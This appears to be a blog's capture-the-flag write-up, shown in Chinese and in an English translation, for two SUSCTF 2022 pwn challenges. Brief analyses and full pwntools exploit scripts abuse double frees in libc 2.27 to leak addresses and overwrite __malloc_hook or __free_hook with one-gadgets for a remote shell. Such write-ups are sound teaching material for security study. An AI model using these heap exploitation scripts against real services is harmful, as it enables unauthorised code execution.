711 字

4 分钟

阅读量 --

SUSCTF pwn wp

2022-03-01

CTF

Pwn

SUSCTF

CTF

Happytree#

题目附件#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip

分析#

漏洞点在 C++ 的 new 和 delete 不对堆空间进行初始化，并且 delete 逻辑中存在指针未清零的情况，而且存在有符号整数和无符号整数混淆，构造 payload 泄露 main_arena 和堆地址后，利用 libc-2.27 构造 tcache 的 doublefree，最后 new 出__malloc_hook 地址，写入 ogg 获得 shell

exp#

1
from pwn import *
2
import ctypes
3
import time
4

5
# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})
6
io = remote('124.71.147.225', 9999)
7
elf = ELF('./happytree')
8
libc = ELF('./libc.so.6')
9
context.log_level = 'debug'
10

11
idx = []
12

13
def add(data,content):
14
    global root
15
    io.sendlineafter('cmd> ','1')
16
    io.sendlineafter("data: ",str(data))
17
    io.sendlineafter("content: ",content)
18
    idx.append(data)
19

20
def add1(data,content):
21
    io.sendlineafter('cmd> ','1')
22
    io.sendlineafter("data: ",str(data))
23
    io.sendafter("content: ",content)
24
    idx.append(data)
25

26
def add2(data,content):
27
    io.sendlineafter('cmd> ','1')
28
    io.sendafter("data: ",str(data))
29

30
def free(data):
31
    io.sendlineafter('cmd> ','2')
32
    io.sendlineafter("data: ",str(data))
33
    if data in idx:
34
        del idx[idx.index(data)]
35

36
def show(data):
37
    io.sendlineafter('cmd> ','3')
38
    io.sendlineafter("data: ",str(data))
39

40
read_got = elf.got['read']
41
read_plt = elf.plt['read']
42

43
def to_size(size):
44
    return (ctypes.c_int(0xffffff00 | size)).value
45

46
def inv(x):
47
    return ctypes.c_int(x).value
48

49
# add(0x80 | 0x200, 'aaaa')
50
# add(0x80 | 0x100, 'aaaa')
51
# add(0x80 | 0x300, 'aaaa')
52
# free(0x80 | 0x200)
53
# for i in range(8):
54
add(inv(0x80 | (0xfff00000)), 'aaaa')
55
add(0x80 | (1*0x100), 'aaaa')
56
add(0x80 | (2*0x100), 'aaaa')
57
add(0x80 | (3*0x100), 'aaaa')
58
add(0x80 | (4*0x100), 'aaaa')
59
add(0x80 | (5*0x100), 'aaaa')
60
add(0x80 | (6*0x100), 'aaaa')
61
add(0x80 | (7*0x100), 'aaaa')
62
add(0x80 | (8*0x100), 'aaaa')
63
# add(0x80 | (9*0x100), 'aaaa')
64
# add(0x80 | (10*0x100), 'aaaa')
65

66
add(inv(0x80 | (0xff000000)), 'aaaa')
67

68
# free(0x80 | (10*0x100))
69
# free(0x80 | (8*0x100))
70
free(0x80 | (8*0x100))
71
free(0x80 | (7*0x100))
72
free(0x80 | (6*0x100))
73
free(0x80 | (5*0x100))
74
free(0x80 | (4*0x100))
75
free(0x80 | (3*0x100))
76
free(0x80 | (2*0x100))
77
free(0x80 | (1*0x100))
78

79
add(inv(0x80 | 0xffff0100), 'aaaa')
80
add(inv(0x80 | 0xffff0200), 'aaaa')
81
add(inv(0x80 | 0xffff0300), 'aaaa')
82
add(inv(0x80 | 0xffff0400), 'aaaa')
83
add(inv(0x80 | 0xffff0500), 'aaaa')
84
add(inv(0x80 | 0xffff0600), 'aaaa')
85
add(inv(0x80 | 0xffff0700), 'aaaa')
86
# show(0x80 | 0x700)
87
# gdb.attach(io)
88

89
add1(inv(0x80 | 0xffff0800), 'a'*8)
90
show(inv(0x80 | 0xffff0800))
91
io.recvuntil('content: aaaaaaaa')
92
inp = io.recvuntil('\x7f').ljust(8, '\x00')
93
inp = u64(inp)
94
log.info(hex(inp))
95
main_arena = inp - 96
96
log.info(hex(main_arena))
97
libc_base = main_arena - 0x00003EBC40
98
log.info(hex(libc_base))
99

100
free(inv(0x80 | 0xffff0700))
101
free(inv(0x80 | 0xffff0800))
102
add(0x20 | 0x100, 'a'*23)
103
show(0x20 | 0x100)
104

105
io.recvuntil('\n')
106
hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
107
hp = u64(hp)
108
log.info(hex(hp))
109

110
free(0x20 | 0x100)
111
add(inv(0x80 | 0xf0000000), 'aaaa')
112
add(inv(0x80 | 0xffff0700), 'aaaa')
113
free(inv(0x80 | 0xf0000000))
114
free(0)
115

116
ogg = [0x4f365,0x4f3c2,0x10a45c]
117

118
malloc_hook = libc_base + libc.sym['__malloc_hook']
119
p = p64(malloc_hook)
120
add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)
121
print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))
122

123
time.sleep(4)
124
add1(0x80 | 0x100, 'aaaa')
125
p = p64(ogg[2] + libc_base)
126
add1(0x80 | 0x5000, p)
127
# gdb.attach(io)
128
add2(0x80 | 0x6000, p)
129
# free(inv(0x80 | 0xffff0400))
130

131
# print idx
132

133

134

135
# add(to_size(0x80 | 0x100))
136

137
io.interactive()
138
# print hex(to_size(10))

rain#

题目附件#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip

分析#

当 realloc (ptr, 0) 时，函数返回 null，v7==0 过不了 if 判断，故不会将指针清零，可以构造 doublefree，利用 doublefree 和 printf% s 泄露在 bss 段上的_IO_2_1_stdout_地址，即可知道 libc 基址，最后向__free_hook 写入 ogg 即可 getshell

exp#

1
from pwn import *
2

3
context.log_level='DEBUG'
4
# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})
5
io = remote('124.71.185.75',9999)
6

7
e = ELF('./rain')
8
libc = ELF('./libc.so.6')
9

10
def frame(sh, sw, font, color, rainfall, table1):
11
    p = p32(sh)
12
    p += p32(sw)
13
    p += p8(font)
14
    p += p8(color)
15
    p += p32(rainfall)
16
    p += p32(0xdeadbeaf)
17
    p += table1
18
    return p
19

20

21
def config(fra):
22
    io.sendlineafter('ch> ', '1')
23
    io.sendafter('FRAME> ', fra)
24

25

26
def show():
27
    io.sendlineafter('ch> ', '2')
28

29
def rain():
30
    context.log_level='INFO'
31
    io.sendlineafter('ch> ', '3')
32
    io.recvuntil('\n')
33
    context.log_level='debug'
34
p = frame(0x30,0x30,3,4,1,'a'*0x20)
35
config(p)
36
p = frame(0x30,0x30,3,4,1,'')
37
config(p)
38
p = frame(0x30,0x30,3,4,1,'')
39
config(p)
40

41
malloc_got = e.got['malloc']
42
log.info(hex(malloc_got))
43

44
p1 = p64(0x00000603000)
45
p1 += 'a'*(0x20 - len(p1))
46
p = frame(0x30,0x30,3,4,1, p1)
47
config(p)
48
rain()
49
# show()
50

51
p = frame(0x30,0x30,3,4,1, 'a'*0x20)
52
config(p)
53
show()
54

55
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
56
inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
57
inp = u64(inp)
58
log.info("_IO_2_1_stdout_:"+hex(inp))
59
libc_base = inp - libc.sym['_IO_2_1_stdout_']
60
log.info("libc_base:"+hex(libc_base))
61

62
ogg = [0x4f365,0x4f3c2,0x10a45c]
63
malloc_hook = libc_base + libc.sym['__free_hook']
64
log.info("malloc_hook:"+hex(malloc_hook))
65

66

67
rain()
68
p = frame(0x40,0x40,3,4,1,'a'*0x70)
69
config(p)
70
p = frame(0x40,0x40,3,4,1,'')
71
config(p)
72
p = frame(0x40,0x40,3,4,1,'')
73
config(p)
74

75
p1 = p64(malloc_hook)
76
p1 += 'a'*(0x70 - len(p1))
77
p = frame(0x30,0x30,3,4,1, p1)
78
config(p)
79
rain()
80

81
p = frame(0x30,0x30,3,4,1, 'a'*0x70)
82
config(p)
83
rain()
84

85
log.info("ogg:"+hex(ogg[0]+libc_base))
86
p1 = p64(ogg[1]+libc_base) * (0x70 // 8)
87
p = frame(0x1,0x1,3,4,1, p1)
88
# gdb.attach(io)
89
config(p)
90
p = frame(0x1,0x1,3,4,1,'')
91
config(p)
92

93
# gdb.attach(io)
94

95

96

97
io.interactive()

Translate by Kimi-K3

Happytree#

Challenge Attachment#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip

Analysis#

The vulnerability lies in C++‘s new and delete not initializing the heap space, plus the delete logic failing to zero out the pointer after freeing, and there is also a mix-up between signed and unsigned integers. After crafting a payload to leak main_arena and a heap address, we exploit libc-2.27 to construct a tcache double free, then new out the __malloc_hook address and write a one-gadget to get a shell.

exp#

1
from pwn import *
2
import ctypes
3
import time
4

5
# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})
6
io = remote('124.71.147.225', 9999)
7
elf = ELF('./happytree')
8
libc = ELF('./libc.so.6')
9
context.log_level = 'debug'
10

11
idx = []
12

13
def add(data,content):
14
    global root
15
    io.sendlineafter('cmd> ','1')
16
    io.sendlineafter("data: ",str(data))
17
    io.sendlineafter("content: ",content)
18
    idx.append(data)
19

20
def add1(data,content):
21
    io.sendlineafter('cmd> ','1')
22
    io.sendlineafter("data: ",str(data))
23
    io.sendafter("content: ",content)
24
    idx.append(data)
25

26
def add2(data,content):
27
    io.sendlineafter('cmd> ','1')
28
    io.sendafter("data: ",str(data))
29

30
def free(data):
31
    io.sendlineafter('cmd> ','2')
32
    io.sendlineafter("data: ",str(data))
33
    if data in idx:
34
        del idx[idx.index(data)]
35

36
def show(data):
37
    io.sendlineafter('cmd> ','3')
38
    io.sendlineafter("data: ",str(data))
39

40
read_got = elf.got['read']
41
read_plt = elf.plt['read']
42

43
def to_size(size):
44
    return (ctypes.c_int(0xffffff00 | size)).value
45

46
def inv(x):
47
    return ctypes.c_int(x).value
48

49
# add(0x80 | 0x200, 'aaaa')
50
# add(0x80 | 0x100, 'aaaa')
51
# add(0x80 | 0x300, 'aaaa')
52
# free(0x80 | 0x200)
53
# for i in range(8):
54
add(inv(0x80 | (0xfff00000)), 'aaaa')
55
add(0x80 | (1*0x100), 'aaaa')
56
add(0x80 | (2*0x100), 'aaaa')
57
add(0x80 | (3*0x100), 'aaaa')
58
add(0x80 | (4*0x100), 'aaaa')
59
add(0x80 | (5*0x100), 'aaaa')
60
add(0x80 | (6*0x100), 'aaaa')
61
add(0x80 | (7*0x100), 'aaaa')
62
add(0x80 | (8*0x100), 'aaaa')
63
# add(0x80 | (9*0x100), 'aaaa')
64
# add(0x80 | (10*0x100), 'aaaa')
65

66
add(inv(0x80 | (0xff000000)), 'aaaa')
67

68
# free(0x80 | (10*0x100))
69
# free(0x80 | (8*0x100))
70
free(0x80 | (8*0x100))
71
free(0x80 | (7*0x100))
72
free(0x80 | (6*0x100))
73
free(0x80 | (5*0x100))
74
free(0x80 | (4*0x100))
75
free(0x80 | (3*0x100))
76
free(0x80 | (2*0x100))
77
free(0x80 | (1*0x100))
78

79
add(inv(0x80 | 0xffff0100), 'aaaa')
80
add(inv(0x80 | 0xffff0200), 'aaaa')
81
add(inv(0x80 | 0xffff0300), 'aaaa')
82
add(inv(0x80 | 0xffff0400), 'aaaa')
83
add(inv(0x80 | 0xffff0500), 'aaaa')
84
add(inv(0x80 | 0xffff0600), 'aaaa')
85
add(inv(0x80 | 0xffff0700), 'aaaa')
86
# show(0x80 | 0x700)
87
# gdb.attach(io)
88

89
add1(inv(0x80 | 0xffff0800), 'a'*8)
90
show(inv(0x80 | 0xffff0800))
91
io.recvuntil('content: aaaaaaaa')
92
inp = io.recvuntil('\x7f').ljust(8, '\x00')
93
inp = u64(inp)
94
log.info(hex(inp))
95
main_arena = inp - 96
96
log.info(hex(main_arena))
97
libc_base = main_arena - 0x00003EBC40
98
log.info(hex(libc_base))
99

100
free(inv(0x80 | 0xffff0700))
101
free(inv(0x80 | 0xffff0800))
102
add(0x20 | 0x100, 'a'*23)
103
show(0x20 | 0x100)
104

105
io.recvuntil('\n')
106
hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
107
hp = u64(hp)
108
log.info(hex(hp))
109

110
free(0x20 | 0x100)
111
add(inv(0x80 | 0xf0000000), 'aaaa')
112
add(inv(0x80 | 0xffff0700), 'aaaa')
113
free(inv(0x80 | 0xf0000000))
114
free(0)
115

116
ogg = [0x4f365,0x4f3c2,0x10a45c]
117

118
malloc_hook = libc_base + libc.sym['__malloc_hook']
119
p = p64(malloc_hook)
120
add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)
121
print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))
122

123
time.sleep(4)
124
add1(0x80 | 0x100, 'aaaa')
125
p = p64(ogg[2] + libc_base)
126
add1(0x80 | 0x5000, p)
127
# gdb.attach(io)
128
add2(0x80 | 0x6000, p)
129
# free(inv(0x80 | 0xffff0400))
130

131
# print idx
132

133

134

135
# add(to_size(0x80 | 0x100))
136

137
io.interactive()
138
# print hex(to_size(10))

rain#

Challenge Attachment#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip

Analysis#

When realloc(ptr, 0) is called, the function returns null; since v7 == 0 fails the if check, the pointer is never zeroed out, so a double free can be constructed. Using the double free together with printf’s %s, we leak the _IO_2_1_stdout_ address located on the bss segment, which reveals the libc base address. Finally, we write a one-gadget into __free_hook to get a shell.

exp#

1
from pwn import *
2

3
context.log_level='DEBUG'
4
# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})
5
io = remote('124.71.185.75',9999)
6

7
e = ELF('./rain')
8
libc = ELF('./libc.so.6')
9

10
def frame(sh, sw, font, color, rainfall, table1):
11
    p = p32(sh)
12
    p += p32(sw)
13
    p += p8(font)
14
    p += p8(color)
15
    p += p32(rainfall)
16
    p += p32(0xdeadbeaf)
17
    p += table1
18
    return p
19

20

21
def config(fra):
22
    io.sendlineafter('ch> ', '1')
23
    io.sendafter('FRAME> ', fra)
24

25

26
def show():
27
    io.sendlineafter('ch> ', '2')
28

29
def rain():
30
    context.log_level='INFO'
31
    io.sendlineafter('ch> ', '3')
32
    io.recvuntil('\n')
33
    context.log_level='debug'
34
p = frame(0x30,0x30,3,4,1,'a'*0x20)
35
config(p)
36
p = frame(0x30,0x30,3,4,1,'')
37
config(p)
38
p = frame(0x30,0x30,3,4,1,'')
39
config(p)
40

41
malloc_got = e.got['malloc']
42
log.info(hex(malloc_got))
43

44
p1 = p64(0x00000603000)
45
p1 += 'a'*(0x20 - len(p1))
46
p = frame(0x30,0x30,3,4,1, p1)
47
config(p)
48
rain()
49
# show()
50

51
p = frame(0x30,0x30,3,4,1, 'a'*0x20)
52
config(p)
53
show()
54

55
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
56
inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
57
inp = u64(inp)
58
log.info("_IO_2_1_stdout_:"+hex(inp))
59
libc_base = inp - libc.sym['_IO_2_1_stdout_']
60
log.info("libc_base:"+hex(libc_base))
61

62
ogg = [0x4f365,0x4f3c2,0x10a45c]
63
malloc_hook = libc_base + libc.sym['__free_hook']
64
log.info("malloc_hook:"+hex(malloc_hook))
65

66

67
rain()
68
p = frame(0x40,0x40,3,4,1,'a'*0x70)
69
config(p)
70
p = frame(0x40,0x40,3,4,1,'')
71
config(p)
72
p = frame(0x40,0x40,3,4,1,'')
73
config(p)
74

75
p1 = p64(malloc_hook)
76
p1 += 'a'*(0x70 - len(p1))
77
p = frame(0x30,0x30,3,4,1, p1)
78
config(p)
79
rain()
80

81
p = frame(0x30,0x30,3,4,1, 'a'*0x70)
82
config(p)
83
rain()
84

85
log.info("ogg:"+hex(ogg[0]+libc_base))
86
p1 = p64(ogg[1]+libc_base) * (0x70 // 8)
87
p = frame(0x1,0x1,3,4,1, p1)
88
# gdb.attach(io)
89
config(p)
90
p = frame(0x1,0x1,3,4,1,'')
91
config(p)
92

93
# gdb.attach(io)
94

95

96

97
io.interactive()

SUSCTF pwn wp

https://blog.csome.cc/p/SUSCTF-wp/

作者

Csome

发布于

2022-03-01

许可协议

CC BY-SA 3.0

[2022HFCTF] Pwn babygame

[TQLCTF]Pwn Tunbelievable_write wp